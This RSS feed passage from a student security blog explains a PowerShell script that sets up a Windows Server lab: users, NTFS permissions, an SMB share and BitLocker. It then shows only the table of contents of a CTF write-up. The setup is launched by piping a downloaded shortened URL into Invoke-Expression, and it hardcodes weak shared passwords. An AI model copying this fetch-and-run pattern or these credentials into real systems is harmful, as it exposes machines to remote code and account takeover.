</span></span></code></pre></div><p>This runs <code>powershell.exe</code> and uses the abbreviation <code>iwr</code>, which stands for <code>Invoke-WebRequest</code>. This command makes a web request to the given link, which in this case is <a href="https://tinyurl.com/mr234bdr">https://tinyurl.com/mr234bdr</a>. This URL redirects to the raw file from my GitHub repository, where the first of two PowerShell scripts is downloaded.<cite>Invoke-WebRequest<sup id="fnref:3"><a href="#fn:3" class="footnote-ref" role="doc-noteref">3</a></sup></cite></p>
<p><strong>Important:</strong> Whenever you run a command like this, always open the URL in your web browser first to verify its contents. Check whether the script has any red flags, such as obfuscation or suspicious behavior that it is not intended to perform.</p>
<p>The downloaded script is then piped into <code>iex</code>, which is short for <code>Invoke-Expression</code>. This executes the output from <code>stdin</code>, which, in this case, is the contents of the script.<cite>Abbreviation Table<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup></cite><cite>Invoke-Expression<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></cite></p>
<hr>
<h4 id="explaining-the-first-script">Explaining the first script</h4>
<h5 id="changing-the-execution-policy">Changing the execution policy</h5>
<p>The first line of the <code>setup.ps1</code> script is:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Set-ExecutionPolicy RemoteSigned -Scope LocalMachine -Force
</span></span></code></pre></div><p>This sets the <code>ExecutionPolicy</code> parameter to the <code>RemoteSigned</code> policy. The <code>Scope</code> parameter specifies the default scope value in this command as <code>LocalMachine</code>. The <code>-Force</code> parameter is used to suppress all confirmation prompts. So that the second script that is downloaded in this script is allowed to run on this device.<cite>Set-ExecutionPolicy<sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup></cite></p>
<p>This can be verified by running the following command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Get-ExecutionPolicy -List
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/expolicy.png"/> <figcaption>
            Figure 1: Listing the execution policies of the local machine
        </figcaption>
</figure>

<hr>
<h5 id="installing-bitlocker">Installing BitLocker</h5>
<p><code>Install-WindowsFeature BitLocker</code> installs the Windows feature BitLocker, which is used for drive encryption and will be needed later in the exercise. It is included in the setup because its installation requires a reboot.<cite>Install-WindowsFeature<sup id="fnref:7"><a href="#fn:7" class="footnote-ref" role="doc-noteref">7</a></sup></cite><cite>BitLocker<sup id="fnref:8"><a href="#fn:8" class="footnote-ref" role="doc-noteref">8</a></sup></cite></p>
<hr>
<h5 id="changing-the-hostname">Changing the Hostname</h5>
<p><code>Rename-Computer -NewName &quot;fus-win-12&quot; -Force</code> changes the hostname of the computer to <code>fus-win-12</code>. The <code>-Force</code> parameter ensures the command runs non-interactively. This requires a reboot as well and is therefore included in the setup script.<cite>rename-computer<sup id="fnref:9"><a href="#fn:9" class="footnote-ref" role="doc-noteref">9</a></sup></cite></p>
<p>The change of the hostname can be verified by using the <code>hostname</code> command:</p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/hostname.png"/> <figcaption>
            Figure 2: Verifying the hostname change
        </figcaption>
</figure>

<hr>
<h5 id="downloading-the-second-script">Downloading the second script</h5>
<p>To download the second script, <code>Invoke-WebRequest</code> is used again with a <code>url</code> and <code>dest</code> variable to store the desired URL and destination file.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$url = <span style="color:#e6db74">&#34;https://raw.githubusercontent.com/Stefanistkuhl/obsidianschule/refs/heads/main/3.Klasse/itsi/aufgaben/windoof/script.ps1&#34;</span>
</span></span><span style="display:flex;"><span>$dest = <span style="color:#e6db74">&#34;C:\Users\Administrator\script.ps1&#34;</span>
</span></span><span style="display:flex;"><span>Invoke-WebRequest -Uri $url -OutFile $dest
</span></span></code></pre></div><hr>
<h5 id="enabling-remote-desktop">Enabling Remote Desktop</h5>
<p>For easier management and testing of users, we choose to enable Remote Desktop.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Set-ItemProperty -Path <span style="color:#e6db74">&#39;HKLM:\System\CurrentControlSet\Control\Terminal Server&#39;</span> -name <span style="color:#e6db74">&#34;fDenyTSConnections&#34;</span> -value <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>Enable-NetFirewallRule -DisplayGroup <span style="color:#e6db74">&#34;Remote Desktop&#34;</span>
</span></span></code></pre></div><p><cite>Enable-Remote-Desktop<sup id="fnref:10"><a href="#fn:10" class="footnote-ref" role="doc-noteref">10</a></sup></cite></p>
<hr>
<h5 id="creating-a-scheduled-task">Creating a Scheduled Task</h5>
<p>Since a restart is needed for the first part, some form of persistence is required for the second script to execute. For this, Windows Scheduled Tasks are used to execute the second script after a reboot with a set trigger.<cite>New-ScheduledTask<sup id="fnref:11"><a href="#fn:11" class="footnote-ref" role="doc-noteref">11</a></sup></cite></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$Action = New-ScheduledTaskAction -Execute <span style="color:#e6db74">&#34;powershell.exe&#34;</span> -Argument <span style="color:#e6db74">&#34;-file C:\Users\Administrator\script.ps1&#34;</span>
</span></span><span style="display:flex;"><span>$Trigger = New-ScheduledTaskTrigger -AtLogon -User <span style="color:#e6db74">&#34;Administrator&#34;</span>
</span></span><span style="display:flex;"><span>$Settings = New-ScheduledTaskSettingsSet
</span></span><span style="display:flex;"><span>Register-ScheduledTask -TaskName <span style="color:#e6db74">&#34;after-setup&#34;</span> -Action $Action -Trigger $Trigger -Settings $Settings
</span></span><span style="display:flex;"><span>Restart-Computer
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/tasksh.png"/> <figcaption>
            Figure 3: Inspecting the created task in task scheduler
        </figcaption>
</figure>

<hr>
<h4 id="the-second-script">The second script</h4>
<p>Now that the setup script has finished running, after logging in as the administrator again, the second script will be launched.</p>
<h5 id="creating-users-and-adding-them-to-groups">Creating Users and Adding Them to Groups</h5>
<p>In this step, two new users will be created: <code>fus-admin</code> and <code>fus-user</code>. These serve as the administrator&rsquo;s low-privileged account and privileged account, respectively, in this scenario.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$supersurepassword = ConvertTo-SecureString <span style="color:#e6db74">&#34;rafi123_&#34;</span> -AsPlainText
</span></span><span style="display:flex;"><span>New-LocalUser -Name <span style="color:#e6db74">&#39;fus-admin&#39;</span> -Password $supersurepassword
</span></span><span style="display:flex;"><span>New-LocalUser -Name <span style="color:#e6db74">&#39;fus-user&#39;</span> -Password $supersurepassword
</span></span><span style="display:flex;"><span>Add-LocalGroupMember -Group <span style="color:#e6db74">&#34;Administrators&#34;</span> -Member fus-admin
</span></span><span style="display:flex;"><span>Add-LocalGroupMember -Group <span style="color:#e6db74">&#34;Remote Desktop Users&#34;</span> -Member fus-user
</span></span></code></pre></div><p><cite>ConvertTo-SecureString<sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup></cite><cite>New-LocalUser<sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup></cite><cite>Add-LocalGroupMember<sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></cite></p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/fus-admin&amp;&amp;fus-user.png"/> <figcaption>
            Figure 4: Verifying the functionality of the two users
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/fus-net-user.png"/> <figcaption>
            Figure 5: Printing information about the users
        </figcaption>
</figure>
</p>
<hr>
<h5 id="resizing-the-disk-and-creating-a-new-partition">Resizing the Disk and Creating a New Partition</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Resize-Partition -DiskNumber <span style="color:#ae81ff">0</span> -PartitionNumber <span style="color:#ae81ff">2</span> -Size (<span style="color:#ae81ff">40</span>GB)
</span></span><span style="display:flex;"><span>New-Partition -DiskNumber <span style="color:#ae81ff">0</span> -UseMaximumSize -DriveLetter B
</span></span><span style="display:flex;"><span>Format-Volume -DriveLetter B -FileSystem NTFS -AllocationUnitSize <span style="color:#ae81ff">4096</span>
</span></span></code></pre></div><p><cite>Resize-Partition<sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></cite><cite>New-Partition<sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup></cite><cite>Volumes<sup id="fnref:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup></cite><cite>Cluster-Size<sup id="fnref:18"><a href="#fn:18" class="footnote-ref" role="doc-noteref">18</a></sup></cite><cite>Format-Volume<sup id="fnref:19"><a href="#fn:19" class="footnote-ref" role="doc-noteref">19</a></sup></cite><cite>Cluster-Size-2<sup id="fnref:20"><a href="#fn:20" class="footnote-ref" role="doc-noteref">20</a></sup></cite></p>
<figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/Get-Partition.png"/> <figcaption>
            Figure 6: Printing the partition table
        </figcaption>
</figure>

<hr>
<h5 id="creating-directories">Creating Directories</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$baseDir = <span style="color:#e6db74">&#34;B:\CompanyData&#34;</span>
</span></span><span style="display:flex;"><span>$folders = @(
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Administration&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Finance&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;HumanResources&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;IT&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Legal&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Marketing&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Sales&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">foreach</span> ($folder <span style="color:#66d9ef">in</span> $folders) {
</span></span><span style="display:flex;"><span>    New-Item -Path $baseDir -Name $folder -ItemType Directory
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/show%20spanning-tree.png"/> <figcaption>
            Figure 7: Printing the directory structure
        </figcaption>
</figure>

<hr>
<h5 id="populating-the-directories">Populating the Directories</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$sampleFiles = @(
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Budget.xlsx&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;EmployeeList.csv&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ProjectPlan.pptx&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Report.docx&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">foreach</span> ($file <span style="color:#66d9ef">in</span> $sampleFiles) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">foreach</span> ($folder <span style="color:#66d9ef">in</span> $folders) {
</span></span><span style="display:flex;"><span>        New-Item -Path <span style="color:#e6db74">&#34;</span>$baseDir<span style="color:#e6db74">\</span>$folder<span style="color:#e6db74">&#34;</span> -Name $file -ItemType File
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/lsr.png"/> <figcaption>
            Figure 8: Recursively listing the files
        </figcaption>
</figure>

<hr>
<h5 id="creating-users-and-groups">Creating Users and Groups</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$groups = @(<span style="color:#e6db74">&#34;Admins&#34;</span>, <span style="color:#e6db74">&#34;Users&#34;</span>, <span style="color:#e6db74">&#34;Guests&#34;</span>)
</span></span><span style="display:flex;"><span>$users = @(<span style="color:#e6db74">&#34;alice&#34;</span>, <span style="color:#e6db74">&#34;bob&#34;</span>, <span style="color:#e6db74">&#34;charlie&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">foreach</span> ($group <span style="color:#66d9ef">in</span> $groups) {
</span></span><span style="display:flex;"><span>    New-LocalGroup -Name $group
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">foreach</span> ($user <span style="color:#66d9ef">in</span> $users) {
</span></span><span style="display:flex;"><span>    $password = ConvertTo-SecureString <span style="color:#e6db74">&#34;P@ssw0rd&#34;</span> -AsPlainText
</span></span><span style="display:flex;"><span>    New-LocalUser -Name $user -Password $password
</span></span><span style="display:flex;"><span>    Add-LocalGroupMember -Group <span style="color:#e6db74">&#34;Users&#34;</span> -Member $user
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/theVoices.png"/> <figcaption>
            Figure 9: Diagram of the users, groups and their permissions
        </figcaption>
</figure>

<hr>
<h5 id="verifying-the-creation-of-users-and-groups">Verifying the Creation of users and groups</h5>
<figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/ds2.jpg"/> <figcaption>
            Figure 10: Showing all the groups
        </figcaption>
</figure>

<hr>
<h5 id="managing-ntfs-permissions-using-icacls">Managing NTFS Permissions Using icacls</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>icacls <span style="color:#e6db74">&#34;B:\CompanyData&#34;</span> /grant<span style="color:#960050;background-color:#1e0010">:</span>r <span style="color:#e6db74">&#34;Administrators:(OI)(CI)F&#34;</span> /T
</span></span><span style="display:flex;"><span>icacls <span style="color:#e6db74">&#34;B:\CompanyData&#34;</span> /grant<span style="color:#960050;background-color:#1e0010">:</span>r <span style="color:#e6db74">&#34;Users:(OI)(CI)RX&#34;</span> /T
</span></span><span style="display:flex;"><span>icacls <span style="color:#e6db74">&#34;B:\CompanyData&#34;</span> /grant<span style="color:#960050;background-color:#1e0010">:</span>r <span style="color:#e6db74">&#34;Guests:(OI)(CI)R&#34;</span> /T
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/icals.png"/> <figcaption>
            Figure 11: Viewing the NTFS permissions of a directory
        </figcaption>
</figure>

<hr>
<h5 id="sharing-the-directories-via-smb">Sharing the Directories via SMB</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>New-SmbShare -Name <span style="color:#e6db74">&#34;CompanyData&#34;</span> -Path <span style="color:#e6db74">&#34;B:\CompanyData&#34;</span> -FullAccess <span style="color:#e6db74">&#34;Administrators&#34;</span>,<span style="color:#e6db74">&#34;Users&#34;</span> -ReadAccess <span style="color:#e6db74">&#34;Guests&#34;</span>
</span></span></code></pre></div><figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/Get-SMBShare.png"/> <figcaption>
            Figure 12: Listing all the active SMB shares
        </figcaption>
</figure>

<hr>
<p>Now, users can only access the files they need via the network share. Since in Section 3.2.10, permissions to the root directory were removed, users do not have access to the entire file structure. In this scenario, this is a central server where each employee either has a local workstation or a thin client and connects to the server remotely.</p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/nettest.jpg"/> <figcaption>
            Figure 13: Showing the groups that the test user is part of
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/nolocacc.jpg"/> <figcaption>
            Figure 14: Trying to access the directories locally on the drive
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/sharesadge.png"/> <figcaption>
            Figure 15: Trying to access a share that the user has no permission to open
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/readOnly.jpg"/> <figcaption>
            Figure 16: Trying to create a file in a directory where the user only has read permissions
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/rw.jpg"/> <figcaption>
            Figure 17: Creating a file in a directory where the user has read and write permissions
        </figcaption>
</figure>
</p>
<hr>
<h5 id="encrypting-the-volume-using-bitlocker">Encrypting the Volume using BitLocker</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>Enable-BitLocker -MountPoint <span style="color:#e6db74">&#34;B:&#34;</span> -EncryptionMethod Aes128 -PasswordProtector -Password $supersurepassword
</span></span></code></pre></div><p><cite>Enable-BitLocker<sup id="fnref:21"><a href="#fn:21" class="footnote-ref" role="doc-noteref">21</a></sup></cite></p>
<p><figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/locked.jpg"/> <figcaption>
            Figure 18: Trying to list the contents of the encrypted volume
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y3/ex8/images/unlock.jpg"/> <figcaption>
            Figure 19: Trying to list the contents of the encrypted volume after decrypting it
        </figcaption>
</figure>
</p>
<hr>
<h2 id="references">References</h2>
<p><em>For a full bibliography, see the <a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex8/quellen.bib">original BibTeX file</a>.</em></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>This task definition was generated using ChatGPT.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Nico Boehr. Localized Names of Users and Groups in Windows. <a href="https://blog.nicoboehr.de/2014/08/20/localized-names-of-users-and-groups-in-windows">source</a>&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>sdwheeler. Invoke-WebRequest (Microsoft.PowerShell.Utility) - PowerShell. <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.5">source</a>&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Agoston, Zsolt. PowerShell Abbreviation Table | OpenTechTips. <a href="https://opentechtips.com/powershell-abbreviation-table">source</a>&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>sdwheeler. Invoke-Expression (Microsoft.PowerShell.Utility) - PowerShell. <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.5">source</a>&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:6">
<p>sdwheeler. Set-ExecutionPolicy (Microsoft.PowerShell.Security) - PowerShell. <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.5">source</a>&#160;<a href="#fnref:6" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:7">
<p>JasonGerend. Install-WindowsFeature (ServerManager). <a href="https://learn.microsoft.com/en-us/powershell/module/servermanager/install-windowsfeature?view=windowsserver2025-ps">source</a>&#160;<a href="#fnref:7" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:8">
<p>JasonGerend. BitLocker Module. <a href="https://learn.microsoft.com/en-us/powershell/module/bitlocker/?view=windowsserver2025-ps">source</a>&#160;<a href="#fnref:8" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:9">
<p>sdwheeler. Rename-Computer (Microsoft.PowerShell.Management) - PowerShell. <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/rename-computer?view=powershell-7.5">source</a>&#160;<a href="#fnref:9" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:10">
<p>PowerShell FAQs. How to Enable Remote Desktop Using PowerShell? <a href="https://powershellfaqs.com/enable-remote-desktop-using-powershell">source</a>&#160;<a href="#fnref:10" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:11">
<p>JasonGerend. New-ScheduledTask (ScheduledTasks). <a href="https://learn.microsoft.com/en-us/powershell/module/scheduledtasks/new-scheduledtask?view=windowsserver2025-ps">source</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p>sdwheeler. ConvertTo-SecureString (Microsoft.PowerShell.Security) - PowerShell. <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7.5">source</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p>sdwheeler. New-LocalUser (Microsoft.PowerShell.LocalAccounts) - PowerShell. <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/new-localuser?view=powershell-5.1">source</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p>sdwheeler. Add-LocalGroupMember (Microsoft.PowerShell.LocalAccounts) - PowerShell. <a href="https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.localaccounts/add-localgroupmember?view=powershell-5.1">source</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p>JasonGerend. Resize-Partition (Storage). <a href="https://learn.microsoft.com/en-us/powershell/module/storage/resize-partition?view=windowsserver2025-ps">source</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p>JasonGerend. New-Partition (Storage). <a href="https://learn.microsoft.com/en-us/powershell/module/storage/new-partition?view=windowsserver2025-ps">source</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:17">
<p>Laxmansingh@twc. What is difference between Partition, Volume and Logical Drive. <a href="https://www.thewindowsclub.com/difference-between-partition-volume-logical-drive">source</a>&#160;<a href="#fnref:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:18">
<p>Watumull, Garrett. Cluster size recommendations for ReFS and NTFS. <a href="https://techcommunity.microsoft.com/blog/filecab/cluster-size-recommendations-for-refs-and-ntfs/425960">source</a>&#160;<a href="#fnref:18" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:19">
<p>JasonGerend. Format-Volume (Storage). <a href="https://learn.microsoft.com/en-us/powershell/module/storage/format-volume?view=windowsserver2025-ps">source</a>&#160;<a href="#fnref:19" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:20">
<p>Amanda. What Is Allocation Unit Size &amp; How to Change It - MiniTool Partition Wizard. <a href="https://www.partitionwizard.com/partitionmanager/file-allocation-unit-size.html">source</a>&#160;<a href="#fnref:20" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:21">
<p>JasonGerend. Enable-BitLocker (BitLocker). <a href="https://learn.microsoft.com/en-us/powershell/module/bitlocker/enable-bitlocker?view=windowsserver2025-ps">source</a>&#160;<a href="#fnref:21" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Babys first CTF</title><link>https://0xveya.github.io/posts/itsi/year-3/exercise-7/babys-first-ctf/</link><pubDate>Mon, 20 Jan 2025 03:33:09 +0100</pubDate><guid>https://0xveya.github.io/posts/itsi/year-3/exercise-7/babys-first-ctf/</guid><description>&lt;blockquote>
&lt;p>Note: this was converted from LaTeX to Markdown using ChatGPT 4.1. The original PDF can be found &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex7/UE7_CTF.pdf">here&lt;/a> along with the &lt;a href="https://github.com/Stefanistkuhl/goobering/blob/master/itsi/y3/ex7/quellen.bib">bibliography&lt;/a>.&lt;/p>&lt;/blockquote>
&lt;hr>
&lt;h1 id="ethical-hacking-of-a-ctf-vm">Ethical hacking of a CTF-VM&lt;/h1>
&lt;hr>
&lt;p>&lt;strong>Laboratory protocol&lt;/strong>&lt;br>
Exercise 7: Ethical hacking of a CTF-VM&lt;br>
&lt;figure>
&lt;img loading="lazy" src="https://0xveya.github.io/itsi/y3/ex7/images/menheraMagnifier.png"/> &lt;figcaption>
Figure: Grouplogo
&lt;/figcaption>
&lt;/figure>
&lt;strong>Subject:&lt;/strong> ITSI&lt;br>
&lt;strong>Class:&lt;/strong> 3AHITN&lt;br>
&lt;strong>Name:&lt;/strong> Stefan Fürst, Justin Tremurici&lt;br>
&lt;strong>Group Name/Number:&lt;/strong> todo/12&lt;br>
&lt;strong>Supervisor:&lt;/strong> SPAC, ZIVK&lt;br>
&lt;strong>Exercise dates:&lt;/strong> 17-19.1.2025&lt;br>
&lt;strong>Submission date:&lt;/strong> 20.1.2025&lt;/p>
&lt;hr>
&lt;h2 id="table-of-contents">Table of Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#task-definition">Task definition&lt;/a>&lt;/li>
&lt;li>&lt;a href="#summary">Summary&lt;/a>&lt;/li>
&lt;li>&lt;a href="#complete-network-topology-of-the-exercise">Complete network topology of the exercise&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exercise-execution">Exercise Execution&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#setting-up-the-virtual-machines">Setting up the virtual machines&lt;/a>&lt;/li>
&lt;li>&lt;a href="#reconnaissance-scanning-the-network">Reconnaissance: Scanning the Network&lt;/a>&lt;/li>
&lt;li>&lt;a href="#reconnaissance-exploring-the-websites">Reconnaissance: Exploring the websites&lt;/a>&lt;/li>
&lt;li>&lt;a href="#weaponization-evaluating-the-needed-tools">Weaponization: Evaluating the needed tools&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exploitation-using-hydra-to-break-http-basic-authentication">Exploitation: Using Hydra to break HTTP basic authentication&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exploitation-using-hydra-to-brute-force-ssh-login">Exploitation: Using Hydra to brute force SSH login&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exploring-the-system">Exploring the system&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#listing-all-the-files">Listing all the files&lt;/a>&lt;/li>
&lt;li>&lt;a href="#investigating-the-listening-service">Investigating the listening service&lt;/a>&lt;/li>
&lt;li>&lt;a href="#investigating-the-process-flag">Investigating the process flag&lt;/a>&lt;/li>
&lt;li>&lt;a href="#further-investigating-the-webserver">Further investigating the webserver&lt;/a>&lt;/li>
&lt;li>&lt;a href="#investigating-secret_flagtxt">Investigating secret_flag.txt&lt;/a>&lt;/li>
&lt;li>&lt;a href="#exploring-the-new-user">Exploring the new user&lt;/a>&lt;/li>
&lt;li>&lt;a href="#finding-the-history-flag">Finding the history flag&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#it-should-be-over-now-right">It should be over now, right?&lt;/a>&lt;/li>
&lt;li>&lt;a href="#privilege-escalation-on-linux">Privilege escalation on Linux&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#using-a-smart-enumeration-tool">Using a smart enumeration tool&lt;/a>&lt;/li>
&lt;li>&lt;a href="#trying-a-kernel-level-exploit">Trying a kernel level exploit&lt;/a>&lt;/li>
&lt;li>&lt;a href="#trying-to-get-privileges-using-metasploit-and-meterpreter">Trying to get privileges using Metasploit and Meterpreter&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#getting-root-access-through-editing-the-grub-boot-options">Getting root access through editing the GRUB boot options&lt;/a>&lt;/li>
